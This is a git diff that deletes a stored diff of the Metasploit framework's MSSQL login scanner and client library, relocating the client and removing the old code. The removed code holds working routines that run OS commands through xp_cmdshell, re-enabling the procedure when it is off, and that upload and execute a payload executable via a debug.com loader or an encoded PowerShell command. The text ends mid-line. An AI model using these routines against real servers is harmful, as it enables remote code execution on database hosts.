diff --git a/diff.txt b/diff.txt deleted file mode 100644 index 2ce167caee89..000000000000 --- a/diff.txt +++ /dev/null @@ -1,2350 +0,0 @@ -diff --git a/lib/metasploit/framework/login_scanner/mssql.rb b/lib/metasploit/framework/login_scanner/mssql.rb -index ec73481da4..634e748cc2 100644 ---- a/lib/metasploit/framework/login_scanner/mssql.rb -+++ b/lib/metasploit/framework/login_scanner/mssql.rb -@@ -1,4 +1,4 @@ --require 'metasploit/framework/mssql/client' -+require 'rex/proto/mssql/client' - require 'metasploit/framework/login_scanner/base' - require 'metasploit/framework/login_scanner/rex_socket' - require 'metasploit/framework/login_scanner/ntlm' -@@ -14,7 +14,6 @@ module Metasploit - include Metasploit::Framework::LoginScanner::Base - include Metasploit::Framework::LoginScanner::RexSocket - include Metasploit::Framework::LoginScanner::NTLM -- # include Metasploit::Framework::MSSQL::Client - - DEFAULT_PORT = 1433 - DEFAULT_REALM = 'WORKSTATION' -@@ -69,7 +68,7 @@ module Metasploit - } - - begin -- client = Metasploit::Framework::MSSQL::Client.new(framework_module, framework, host, port) -+ client = Rex::Proto::MSSQL::Client.new(framework_module, framework, host, port) - if client.mssql_login(credential.public, credential.private, '', credential.realm) - result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL - else -diff --git a/lib/metasploit/framework/mssql/client.rb b/lib/metasploit/framework/mssql/client.rb -deleted file mode 100644 -index 9388bc9f6f..0000000000 ---- a/lib/metasploit/framework/mssql/client.rb -+++ /dev/null -@@ -1,739 +0,0 @@ --require 'metasploit/framework/tcp/client' --require 'metasploit/framework/mssql/tdssslproxy' --require 'metasploit/framework/mssql/client_mixin' --require 'msf/core/exploit' --require 'msf/core/exploit/remote' -- --module Metasploit -- module Framework -- module MSSQL -- -- class Client -- include Metasploit::Framework::Tcp::Client -- include Metasploit::Framework::MSSQL::ClientMixin -- include Msf::Exploit::Remote::MSSQL_COMMANDS -- include Msf::Exploit::Remote::Udp -- include Msf::Exploit::Remote::NTLM::Client -- include Msf::Exploit::Remote::Kerberos::Ticket::Storage -- include Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Options -- -- attr_accessor :tdsencryption -- attr_accessor :sock -- attr_accessor :auth -- attr_accessor :ssl -- attr_accessor :ssl_version -- attr_accessor :ssl_verify_mode -- attr_accessor :ssl_cipher -- attr_accessor :proxies -- attr_accessor :connection_timeout -- attr_accessor :send_lm -- attr_accessor :send_ntlm -- attr_accessor :send_spn -- attr_accessor :use_lmkey -- attr_accessor :use_ntlm2_session -- attr_accessor :use_ntlmv2 -- attr_accessor :windows_authentication -- attr_reader :framework_module -- attr_reader :framework -- # @!attribute max_send_size -- # @return [Integer] The max size of the data to encapsulate in a single packet -- attr_accessor :max_send_size -- # @!attribute send_delay -- # @return [Integer] The delay between sending packets -- attr_accessor :send_delay -- -- def initialize(framework_module, framework, rhost, rport = 1433) -- @framework_module = framework_module -- @framework = framework -- @connection_timeout = 30 -- @max_send_size = 0 -- @send_delay = 0 -- -- # Don't use ||= with booleans -- @send_lm = true -- @send_ntlm = true -- @send_spn = true -- @use_lmkey = false -- @use_ntlm2_session = true -- @use_ntlmv2 = true -- @auth = Msf::Exploit::Remote::AuthOption::AUTO -- -- @windows_authentication = false -- @tdsencryption = false -- @rhost = rhost -- @rport = rport -- end -- -- # -- # This method connects to the server over TCP and attempts -- # to authenticate with the supplied username and password -- # The global socket is used and left connected after auth -- # -- def mssql_login(user='sa', pass='', db='', domain_name='') -- disconnect if self.sock -- -- connect -- mssql_prelogin -- if auth == Msf::Exploit::Remote::AuthOption::KERBEROS -- idx = 0 -- pkt = '' -- pkt_hdr = '' -- pkt_hdr = [ -- TYPE_TDS7_LOGIN, #type -- STATUS_END_OF_MESSAGE, #status -- 0x0000, #length -- 0x0000, # SPID -- 0x01, # PacketID (unused upon specification -- # but ms network monitor stil prefer 1 to decode correctly, wireshark don't care) -- 0x00 #Window -- ] -- -- pkt << [ -- 0x00000000, # Size -- 0x71000001, # TDS Version -- 0x00000000, # Dummy Size -- 0x00000007, # Version -- rand(1024+1), # PID -- 0x00000000, # ConnectionID -- 0xe0, # Option Flags 1 -- 0x83, # Option Flags 2 -- 0x00, # SQL Type Flags -- 0x00, # Reserved Flags -- 0x00000000, # Time Zone -- 0x00000000 # Collation -- ].pack('VVVVVVCCCCVV') -- -- cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) -- aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) #application and library name -- sname = Rex::Text.to_unicode( rhost ) -- -- framework_module.fail_with(Msf::Exploit::Failure::BadConfig, 'The Mssql::Rhostname option is required when using kerberos authentication.') if hostname.blank? -- kerberos_authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::MSSQL.new( -- host: domain_controller_rhost, -- hostname: hostname, -- mssql_port: rport, -- proxies: proxies, -- realm: domain_name, -- username: user, -- password: pass, -- framework: framework, -- framework_module: framework_module, -- ticket_storage: Msf::Exploit::Remote::Kerberos::Ticket::Storage::WriteOnly.new(framework: framework, framework_module: framework_module) -- ) -- -- kerberos_result = kerberos_authenticator.authenticate -- ssp_security_blob = kerberos_result[:security_blob] -- -- idx = pkt.size + 50 # lengths below -- -- pkt << [idx, cname.length / 2].pack('vv') -- idx += cname.length -- -- pkt << [0, 0].pack('vv') # User length offset must be 0 -- pkt << [0, 0].pack('vv') # Password length offset must be 0 -- -- pkt << [idx, aname.length / 2].pack('vv') -- idx += aname.length -- -- pkt << [idx, sname.length / 2].pack('vv') -- idx += sname.length -- -- pkt << [0, 0].pack('vv') # unused -- -- pkt << [idx, aname.length / 2].pack('vv') -- idx += aname.length -- -- pkt << [idx, 0].pack('vv') # locales -- -- pkt << [idx, 0].pack('vv') #db -- -- # ClientID (should be mac address) -- pkt << Rex::Text.rand_text(6) -- -- # SSP -- pkt << [idx, ssp_security_blob.length].pack('vv') -- idx += ssp_security_blob.length -- -- pkt << [idx, 0].pack('vv') # AtchDBFile -- -- pkt << cname -- pkt << aname -- pkt << sname -- pkt << aname -- pkt << ssp_security_blob -- -- # Total packet length -- pkt[0, 4] = [pkt.length].pack('V') -- -- pkt_hdr[2] = pkt.length + 8 -- -- pkt = pkt_hdr.pack("CCnnCC") + pkt -- -- # Rem : One have to set check_status to false here because sql server sp0 (and maybe above) -- # has a strange behavior that differs from the specifications -- # upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header -- # is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification -- resp = mssql_send_recv(pkt, 15, false) -- -- info = {:errors => []} -- info = mssql_parse_reply(resp, info) -- -- return false if not info -- return info[:login_ack] ? true : false -- elsif auth == Msf::Exploit::Remote::AuthOption::NTLM || windows_authentication -- idx = 0 -- pkt = '' -- pkt_hdr = '' -- pkt_hdr = [ -- TYPE_TDS7_LOGIN, #type -- STATUS_END_OF_MESSAGE, #status -- 0x0000, #length -- 0x0000, # SPID -- 0x01, # PacketID (unused upon specification -- # but ms network monitor stil prefer 1 to decode correctly, wireshark don't care) -- 0x00 #Window -- ] -- -- pkt << [ -- 0x00000000, # Size -- 0x71000001, # TDS Version -- 0x00000000, # Dummy Size -- 0x00000007, # Version -- rand(1024+1), # PID -- 0x00000000, # ConnectionID -- 0xe0, # Option Flags 1 -- 0x83, # Option Flags 2 -- 0x00, # SQL Type Flags -- 0x00, # Reserved Flags -- 0x00000000, # Time Zone -- 0x00000000 # Collation -- ].pack('VVVVVVCCCCVV') -- -- cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) -- aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) #application and library name -- sname = Rex::Text.to_unicode( rhost ) -- dname = Rex::Text.to_unicode( db ) -- -- workstation_name = Rex::Text.rand_text_alpha(rand(8)+1) -- -- ntlm_client = ::Net::NTLM::Client.new( -- user, -- pass, -- workstation: workstation_name, -- domain: domain_name, -- ) -- type1 = ntlm_client.init_context -- # SQL 2012, at least, does not support KEY_EXCHANGE -- type1.flag &= ~ ::Net::NTLM::FLAGS[:KEY_EXCHANGE] -- ntlmsspblob = type1.serialize -- -- idx = pkt.size + 50 # lengths below -- -- pkt << [idx, cname.length / 2].pack('vv') -- idx += cname.length -- -- pkt << [0, 0].pack('vv') # User length offset must be 0 -- pkt << [0, 0].pack('vv') # Password length offset must be 0 -- -- pkt << [idx, aname.length / 2].pack('vv') -- idx += aname.length -- -- pkt << [idx, sname.length / 2].pack('vv') -- idx += sname.length -- -- pkt << [0, 0].pack('vv') # unused -- -- pkt << [idx, aname.length / 2].pack('vv') -- idx += aname.length -- -- pkt << [idx, 0].pack('vv') # locales -- -- pkt << [idx, 0].pack('vv') #db -- -- # ClientID (should be mac address) -- pkt << Rex::Text.rand_text(6) -- -- # NTLMSSP -- pkt << [idx, ntlmsspblob.length].pack('vv') -- idx += ntlmsspblob.length -- -- pkt << [idx, 0].pack('vv') # AtchDBFile -- -- pkt << cname -- pkt << aname -- pkt << sname -- pkt << aname -- pkt << ntlmsspblob -- -- # Total packet length -- pkt[0, 4] = [pkt.length].pack('V') -- -- pkt_hdr[2] = pkt.length + 8 -- -- pkt = pkt_hdr.pack("CCnnCC") + pkt -- -- # Rem : One have to set check_status to false here because sql server sp0 (and maybe above) -- # has a strange behavior that differs from the specifications -- # upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header -- # is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification -- if tdsencryption == true -- proxy = TDSSSLProxy.new(sock) -- proxy.setup_ssl -- resp = proxy.send_recv(pkt) -- else -- resp = mssql_send_recv(pkt, 15, false) -- end -- -- # Strip the TDS header -- resp = resp[3..-1] -- type3 = ntlm_client.init_context([resp].pack('m')) -- type3_blob = type3.serialize -- -- # Create an SSPIMessage -- idx = 0 -- pkt = '' -- pkt_hdr = '' -- pkt_hdr = [ -- TYPE_SSPI_MESSAGE, #type -- STATUS_END_OF_MESSAGE, #status -- 0x0000, #length -- 0x0000, # SPID -- 0x01, # PacketID -- 0x00 #Window -- ] -- -- pkt_hdr[2] = type3_blob.length + 8 -- -- pkt = pkt_hdr.pack("CCnnCC") + type3_blob -- -- if self.tdsencryption == true -- resp = mssql_ssl_send_recv(pkt, proxy) -- proxy.cleanup -- proxy = nil -- else -- resp = mssql_send_recv(pkt) -- end -- -- #SQL Server Authentification -- else -- idx = 0 -- pkt = '' -- pkt << [ -- 0x00000000, # Dummy size -- -- 0x71000001, # TDS Version -- 0x00000000, # Size -- 0x00000007, # Version -- rand(1024+1), # PID -- 0x00000000, # ConnectionID -- 0xe0, # Option Flags 1 -- 0x03, # Option Flags 2 -- 0x00, # SQL Type Flags -- 0x00, # Reserved Flags -- 0x00000000, # Time Zone -- 0x00000000 # Collation -- ].pack('VVVVVVCCCCVV') -- -- -- cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) -- uname = Rex::Text.to_unicode( user ) -- pname = mssql_tds_encrypt( pass ) -- aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) -- sname = Rex::Text.to_unicode( rhost ) -- dname = Rex::Text.to_unicode( db ) -- -- idx = pkt.size + 50 # lengths below -- -- pkt << [idx, cname.length / 2].pack('vv') -- idx += cname.length -- -- pkt << [idx, uname.length / 2].pack('vv') -- idx += uname.length -- -- pkt << [idx, pname.length / 2].pack('vv') -- idx += pname.length -- -- pkt << [idx, aname.length / 2].pack('vv') -- idx += aname.length -- -- pkt << [idx, sname.length / 2].pack('vv') -- idx += sname.length -- -- pkt << [0, 0].pack('vv') -- -- pkt << [idx, aname.length / 2].pack('vv') -- idx += aname.length -- -- pkt << [idx, 0].pack('vv') -- -- pkt << [idx, dname.length / 2].pack('vv') -- idx += dname.length -- -- # The total length has to be embedded twice more here -- pkt << [ -- 0, -- 0, -- 0x12345678, -- 0x12345678 -- ].pack('vVVV') -- -- pkt << cname -- pkt << uname -- pkt << pname -- pkt << aname -- pkt << sname -- pkt << aname -- pkt << dname -- -- # Total packet length -- pkt[0, 4] = [pkt.length].pack('V') -- -- # Embedded packet lengths -- pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2 -- -- # Packet header and total length including header -- pkt = "\x10\x01" + [pkt.length + 8].pack('n') + [0].pack('n') + [1].pack('C') + "\x00" + pkt -- -- if self.tdsencryption == true -- proxy = TDSSSLProxy.new(sock) -- proxy.setup_ssl -- resp = mssql_ssl_send_recv(pkt, proxy) -- proxy.cleanup -- proxy = nil -- else -- resp = mssql_send_recv(pkt) -- end -- -- end -- -- info = {:errors => []} -- info = mssql_parse_reply(resp, info) -- -- -- return false if not info -- info[:login_ack] ? true : false -- end -- -- # -- #this method send a prelogin packet and check if encryption is off -- # -- def mssql_prelogin(enc_error=false) -- -- pkt = "" -- pkt_hdr = "" -- pkt_data_token = "" -- pkt_data = "" -- -- -- pkt_hdr = [ -- TYPE_PRE_LOGIN_MESSAGE, #type -- STATUS_END_OF_MESSAGE, #status -- 0x0000, #length -- 0x0000, # SPID -- 0x00, # PacketID -- 0x00 #Window -- ] -- -- version = [0x55010008, 0x0000].pack("Vv") -- -- # if manually set, we will honour -- if tdsencryption == true -- encryption = ENCRYPT_ON -- else -- encryption = ENCRYPT_NOT_SUP -- end -- -- instoptdata = "MSSQLServer\0" -- -- threadid = "\0\0" + Rex::Text.rand_text(2) -- -- idx = 21 # size of pkt_data_token -- pkt_data_token << [ -- 0x00, # Token 0 type Version -- idx , # VersionOffset -- version.length, # VersionLength -- -- 0x01, # Token 1 type Encryption -- idx = idx + version.length, # EncryptionOffset -- 0x01, # EncryptionLength -- -- 0x02, # Token 2 type InstOpt -- idx = idx + 1, # InstOptOffset -- instoptdata.length, # InstOptLength -- -- 0x03, # Token 3 type Threadid -- idx + instoptdata.length, # ThreadIdOffset -- 0x04, # ThreadIdLength -- -- 0xFF -- ].pack("CnnCnnCnnCnnC") -- -- pkt_data << pkt_data_token -- pkt_data << version -- pkt_data << encryption -- pkt_data << instoptdata -- pkt_data << threadid -- -- pkt_hdr[2] = pkt_data.length + 8 -- -- pkt = pkt_hdr.pack("CCnnCC") + pkt_data -- -- resp = mssql_send_recv(pkt) -- -- idx = 0 -- -- while resp && resp[0, 1] != "\xff" && resp.length > 5 -- token = resp.slice!(0, 5) -- token = token.unpack("Cnn") -- idx -= 5 -- if token[0] == 0x01 -- -- idx += token[1] -- break -- end -- end -- if idx > 0 -- encryption_mode = resp[idx, 1].unpack("C")[0] -- else -- framework_module.print_error("Unable to parse encryption req " \ -- "during pre-login, this may not be a MSSQL server") -- encryption_mode = ENCRYPT_NOT_SUP -- end -- -- ########################################################## -- # Our initial prelogin pkt above said we didnt support -- # encryption (it's quicker and the default). -- # -- # Per the matrix on the following link, SQL Server will -- # terminate the connection if it does require TLS, -- # otherwise it will accept an unencrypted session. As -- # part of this initial response packet, it also returns -- # ENCRYPT_REQ. -- # -- # https://msdn.microsoft.com\ -- # /en-us/library/ee320519(v=sql.105).aspx -- # -- ########################################################## -- -- if encryption_mode == ENCRYPT_REQ -- # restart prelogin process except that we tell SQL Server -- # than we are now able to encrypt -- disconnect if self.sock -- connect -- -- # offset 35 is the flag - turn it on -- pkt[35] = [ENCRYPT_ON].pack('C') -- self.tdsencryption = true -- framework_module.print_status("TLS encryption has " \ -- "been enabled based on server response.") -- -- resp = mssql_send_recv(pkt) -- -- idx = 0 -- -- while resp && resp[0, 1] != "\xff" && resp.length > 5 -- token = resp.slice!(0, 5) -- token = token.unpack("Cnn") -- idx -= 5 -- if token[0] == 0x01 -- idx += token[1] -- break -- end -- end -- if idx > 0 -- encryption_mode = resp[idx, 1].unpack("C")[0] -- else -- framework_module.print_error("Unable to parse encryption req " \ -- "during pre-login, this may not be a MSSQL server") -- encryption_mode = ENCRYPT_NOT_SUP -- end -- end -- encryption_mode -- end -- -- def mssql_ssl_send_recv(req, tdsproxy, timeout=15, check_status=true) -- tdsproxy.send_recv(req) -- end -- -- def mssql_query(sqla, doprint=false, opts={}) -- info = { :sql => sqla } -- opts[:timeout] ||= 15 -- pkts = [] -- idx = 0 -- -- bsize = 4096 - 8 -- chan = 0 -- -- @cnt ||= 0 -- @cnt += 1 -- -- sql = Rex::Text.to_unicode(sqla) -- while(idx < sql.length) -- buf = sql[idx, bsize] -- flg = buf.length < bsize ? "\x01" : "\x00" -- pkts << "\x01" + flg + [buf.length + 8].pack('n') + [chan].pack('n') + [@cnt].pack('C') + "\x00" + buf -- idx += bsize -- -- end -- -- resp = mssql_send_recv(pkts.join, opts[:timeout]) -- mssql_parse_reply(resp, info) -- mssql_print_reply(info) if doprint -- info -- end -- -- def mssql_xpcmdshell(cmd, doprint=false, opts={}) -- force_enable = false -- begin -- res = mssql_query("EXEC master..xp_cmdshell '#{cmd}'", false, opts) -- if res[:errors] && !res[:errors].empty? -- if res[:errors].join =~ /xp_cmdshell/ -- if force_enable -- print_error("The xp_cmdshell procedure is not available and could not be enabled") -- raise RuntimeError, "Failed to execute command" -- else -- print_status("The server may have xp_cmdshell disabled, trying to enable it...") -- mssql_query(mssql_xpcmdshell_enable()) -- raise RuntimeError, "xp_cmdshell disabled" -- end -- end -- end -- -- mssql_print_reply(res) if doprint -- -- return res -- -- rescue RuntimeError => e -- if e.to_s =~ /xp_cmdshell disabled/ -- force_enable = true -- retry -- end -- raise e -- end -- end -- -- def mssql_upload_exec(exe, debug=false) -- hex = exe.unpack("H*")[0] -- -- var_bypass = rand_text_alpha(8) -- var_payload = rand_text_alpha(8) -- -- print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory") -- print_status("Writing the debug.com loader to the disk...") -- h2b = File.read(datastore['HEX2BINARY'], File.size(datastore['HEX2BINARY'])) -- h2b.gsub!(/KemneE3N/, "%TEMP%\\#{var_bypass}") -- h2b.split(/\n/).each do |line| -- mssql_xpcmdshell("#{line}", false) -- end -- -- print_status("Converting the debug script to an executable...") -- mssql_xpcmdshell("cmd.exe /c cd %TEMP% && cd %TEMP% && debug < %TEMP%\\#{var_bypass}", debug) -- mssql_xpcmdshell("cmd.exe /c move %TEMP%\\#{var_bypass}.bin %TEMP%\\#{var_bypass}.exe", debug) -- -- print_status("Uploading the payload, please be patient...") -- idx = 0 -- cnt = 500 -- while(idx < hex.length - 1) -- mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false) -- idx += cnt -- end -- -- print_status("Converting the encoded payload...") -- mssql_xpcmdshell("%TEMP%\\#{var_bypass}.exe %TEMP%\\#{var_payload}", debug) -- mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_bypass}.exe", debug) -- mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug) -- -- print_status("Executing the payload...") -- mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1}) -- end -- -- def powershell_upload_exec(exe, debug=false) -- # hex converter -- hex = exe.unpack("H*")[0] -- # create random alpha 8 character names -- #var_bypass = rand_text_alpha(8) -- var_payload = rand_text_alpha(8) -- print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory") -- # our payload converter, grabs a hex file and converts it to binary for us through powershell -- h2b = "$s = gc 'C:\\Windows\\Temp\\#{var_payload}';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\Windows\\Temp\\#{var_payload}.exe',$b)" -- h2b_unicode=Rex::Text.to_unicode(h2b) -- # base64 encode it, this allows us to perform execution through powershell without registry changes -- h2b_encoded = Rex::Text.encode_base64(h2b_unicode) -- print_status("Uploading the payload #{var_payload}, please be patient...") -- idx = 0 -- cnt = 500 -- while(idx < hex.length - 1) -- mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false) -- idx += cnt -- end -- print_status("Converting the payload utilizing PowerShell EncodedCommand...") -- mssql_xpcmdshell("powershell -EncodedCommand #{h2b_encoded}", debug) -- mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug) -- print_status("Executing the payload...") -- mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1}) -- print_status("Be sure to cleanup #{var_payload}.exe...") -- end -- -- protected -- -- def rhost -- @rhost -- end -- -- def rport -- @rport -- end -- -- def chost -- return nil -- end -- -- def cport -- return nil -- end -- -- # def auth -- # Msf::Exploit::Remote::AuthOption::AUTO -- # end -- -- # def tdsencryption -- # false -- # end -- -- # def domain_controller_rhost -- # raise NotImplementedError -- # end -- -- # def hostname -- # raise NotImplementedError -- # end -- -- # def windows_authentication -- # raise NotImplementedError -- # end -- -- # def use_ntlm2_session -- # raise NotImplementedError -- # end -- -- # def use_ntlmv2 -- # raise NotImplementedError -- # end -- -- # def send_lm -- # raise NotImplementedError -- # end -- -- # def send_ntlm -- # raise NotImplementedError -- # end -- -- # def send_spn -- # raise NotImplementedError -- # end -- -- end -- -- end -- end --end -diff --git a/lib/metasploit/framework/mssql/client_mixin.rb b/lib/metasploit/framework/mssql/client_mixin.rb -deleted file mode 100644 -index bce374297b..0000000000 ---- a/lib/metasploit/framework/mssql/client_mixin.rb -+++ /dev/null -@@ -1,433 +0,0 @@ --module Metasploit --module Framework --module MSSQL --# TODO: move to rex:proto --# A base mixin of useful mssql methods for parsing structures etc --module ClientMixin -- -- # Encryption -- ENCRYPT_OFF = 0x00 #Encryption is available but off. -- ENCRYPT_ON = 0x01 #Encryption is available and on. -- ENCRYPT_NOT_SUP = 0x02 #Encryption is not available. -- ENCRYPT_REQ = 0x03 #Encryption is required. -- -- # Packet Type -- TYPE_SQL_BATCH = 1 # (Client) SQL command -- TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused) -- TYPE_RPC = 3 # (Client) RPC -- TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters, -- # Request Completion, Error and Info Messages, Attention Acknowledgement -- TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention -- TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data -- TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager -- TYPE_TDS7_LOGIN = 16 # (Client) Login -- TYPE_SSPI_MESSAGE = 17 # (Client) Login -- TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7 -- -- # Status -- STATUS_NORMAL = 0x00 -- STATUS_END_OF_MESSAGE = 0x01 -- STATUS_IGNORE_EVENT = 0x02 -- STATUS_RESETCONNECTION = 0x08 # TDS 7.1+ -- STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+ -- -- def mssql_send_recv(req, timeout=15, check_status = true) -- sock.put(req) -- -- # Read the 8 byte header to get the length and status -- # Read the length to get the data -- # If the status is 0, read another header and more data -- -- done = false -- resp = "" -- -- while(not done) -- head = sock.get_once(8, timeout) -- if !(head && head.length == 8) -- return false -- end -- -- # Is this the last buffer? -- if head[1, 1] == "\x01" || !check_status -- done = true -- end -- -- # Grab this block's length -- rlen = head[2, 2].unpack('n')[0] - 8 -- -- while(rlen > 0) -- buff = sock.get_once(rlen, timeout) -- return if not buff -- resp << buff -- rlen -= buff.length -- end -- end -- -- resp -- end -- -- # -- # Encrypt a password according to the TDS protocol (encode) -- # -- def mssql_tds_encrypt(pass) -- # Convert to unicode, swap 4 bits both ways, xor with 0xa5 -- Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*") -- end -- -- # -- # Parse a raw TDS reply from the server -- # -- def mssql_parse_tds_reply(data, info) -- info[:errors] ||= [] -- info[:colinfos] ||= [] -- info[:colnames] ||= [] -- -- # Parse out the columns -- cols = data.slice!(0, 2).unpack('v')[0] -- 0.upto(cols-1) do |col_idx| -- col = {} -- info[:colinfos][col_idx] = col -- -- col[:utype] = data.slice!(0, 2).unpack('v')[0] -- col[:flags] = data.slice!(0, 2).unpack('v')[0] -- col[:type] = data.slice!(0, 1).unpack('C')[0] -- -- case col[:type] -- when 48 -- col[:id] = :tinyint -- -- when 52 -- col[:id] = :smallint -- -- when 56 -- col[:id] = :rawint -- -- when 61 -- col[:id] = :datetime -- -- when 34 -- col[:id] = :image -- col[:max_size] = data.slice!(0, 4).unpack('V')[0] -- col[:value_length] = data.slice!(0, 2).unpack('v')[0] -- col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '') -- -- when 36 -- col[:id] = :string -- -- when 38 -- col[:id] = :int -- col[:int_size] = data.slice!(0, 1).unpack('C')[0] -- -- when 127 -- col[:id] = :bigint -- -- when 165 -- col[:id] = :hex -- col[:max_size] = data.slice!(0, 2).unpack('v')[0] -- -- when 173 -- col[:id] = :hex # binary(2) -- col[:max_size] = data.slice!(0, 2).unpack('v')[0] -- -- when 231, 175, 167, 239 -- col[:id] = :string -- col[:max_size] = data.slice!(0, 2).unpack('v')[0] -- col[:codepage] = data.slice!(0, 2).unpack('v')[0] -- col[:cflags] = data.slice!(0, 2).unpack('v')[0] -- col[:charset_id] = data.slice!(0, 1).unpack('C')[0] -- -- else -- col[:id] = :unknown -- end -- -- col[:msg_len] = data.slice!(0, 1).unpack('C')[0] -- -- if col[:msg_len] && col[:msg_len] > 0 -- col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '') -- end -- info[:colnames] << (col[:name] || 'NULL') -- end -- end -- -- # -- # Parse individual tokens from a TDS reply -- # -- def mssql_parse_reply(data, info) -- info[:errors] = [] -- return if not data -- until data.empty? -- token = data.slice!(0, 1).unpack('C')[0] -- case token -- when 0x81 -- mssql_parse_tds_reply(data, info) -- when 0xd1 -- mssql_parse_tds_row(data, info) -- when 0xe3 -- mssql_parse_env(data, info) -- when 0x79 -- mssql_parse_ret(data, info) -- when 0xfd, 0xfe, 0xff -- mssql_parse_done(data, info) -- when 0xad -- mssql_parse_login_ack(data, info) -- when 0xab -- mssql_parse_info(data, info) -- when 0xaa -- mssql_parse_error(data, info) -- when nil -- break -- else -- info[:errors] << "unsupported token: #{token}" -- end -- end -- info -- end -- -- # -- # Parse a single row of a TDS reply -- # -- def mssql_parse_tds_row(data, info) -- info[:rows] ||= [] -- row = [] -- -- info[:colinfos].each do |col| -- -- if(data.length == 0) -- row << "" -- next -- end -- -- case col[:id] -- when :hex -- str = "" -- len = data.slice!(0, 2).unpack('v')[0] -- if len > 0 && len < 65535 -- str << data.slice!(0, len) -- end -- row << str.unpack("H*")[0] -- -- when :string -- str = "" -- len = data.slice!(0, 2).unpack('v')[0] -- if len > 0 && len < 65535 -- str << data.slice!(0, len) -- end -- row << str.gsub("\x00", '') -- -- when :datetime -- row << data.slice!(0, 8).unpack("H*")[0] -- -- when :rawint -- row << data.slice!(0, 4).unpack('V')[0] -- -- when :bigint -- row << data.slice!(0, 8).unpack("H*")[0] -- -- when :smallint -- row << data.slice!(0, 2).unpack("v")[0] -- -- when :smallint3 -- row << [data.slice!(0, 3)].pack("Z4").unpack("V")[0] -- -- when :tinyint -- row << data.slice!(0, 1).unpack("C")[0] -- -- when :image -- str = '' -- len = data.slice!(0, 1).unpack('C')[0] -- str = data.slice!(0, len) if len && len > 0 -- row << str.unpack("H*")[0] -- -- when :int -- len = data.slice!(0, 1).unpack("C")[0] -- raw = data.slice!(0, len) if len && len > 0 -- -- case len -- when 0, 255 -- row << '' -- when 1 -- row << raw.unpack("C")[0] -- when 2 -- row << raw.unpack('v')[0] -- when 4 -- row << raw.unpack('V')[0] -- when 5 -- row << raw.unpack('V')[0] # XXX: missing high byte -- when 8 -- row << raw.unpack('VV')[0] # XXX: missing high dword -- else -- info[:errors] << "invalid integer size: #{len} #{data[0, 16].unpack("H*")[0]}" -- end -- else -- info[:errors] << "unknown column type: #{col.inspect}" -- end -- end -- -- info[:rows] << row -- info -- end -- -- # -- # Parse a "ret" TDS token -- # -- def mssql_parse_ret(data, info) -- ret = data.slice!(0, 4).unpack('N')[0] -- info[:ret] = ret -- info -- end -- -- # -- # Parse a "done" TDS token -- # -- def mssql_parse_done(data, info) -- status, cmd, rows = data.slice!(0, 8).unpack('vvV') -- info[:done] = { :status => status, :cmd => cmd, :rows => rows } -- info -- end -- -- # -- # Parse an "error" TDS token -- # -- def mssql_parse_error(data, info) -- len = data.slice!(0, 2).unpack('v')[0] -- buff = data.slice!(0, len) -- -- errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv') -- emsg = buff.slice!(0, elen * 2) -- emsg.gsub!("\x00", '') -- -- info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}" -- info -- end -- -- # -- # Parse an "environment change" TDS token -- # -- def mssql_parse_env(data, info) -- len = data.slice!(0, 2).unpack('v')[0] -- buff = data.slice!(0, len) -- type = buff.slice!(0, 1).unpack('C')[0] -- -- nval = '' -- nlen = buff.slice!(0, 1).unpack('C')[0] || 0 -- nval = buff.slice!(0, nlen * 2).gsub("\x00", '') if nlen > 0 -- -- oval = '' -- olen = buff.slice!(0, 1).unpack('C')[0] || 0 -- oval = buff.slice!(0, olen * 2).gsub("\x00", '') if olen > 0 -- -- info[:envs] ||= [] -- info[:envs] << { :type => type, :old => oval, :new => nval } -- info -- end -- -- # -- # Parse an "information" TDS token -- # -- def mssql_parse_info(data, info) -- len = data.slice!(0, 2).unpack('v')[0] -- buff = data.slice!(0, len) -- -- errno, state, 